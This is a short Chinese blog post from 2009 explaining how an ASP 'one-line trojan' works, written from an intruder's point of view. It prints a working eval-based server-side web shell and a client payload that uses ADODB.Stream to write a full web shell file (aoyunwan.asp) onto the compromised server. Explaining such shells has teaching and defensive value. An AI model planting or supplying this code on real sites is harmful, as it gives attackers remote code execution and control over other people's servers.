一句话木马的原理

Posted on 2009-05-11 12:31  萧木柯  阅读(670)  评论(0编辑  收藏  举报

2009年02月21日 星期六 15:16

一句话木马:<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>来解释下它的原理

首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:

<textarea name=# cols="80" rows="10">
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</textarea>

学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:

set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"

学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!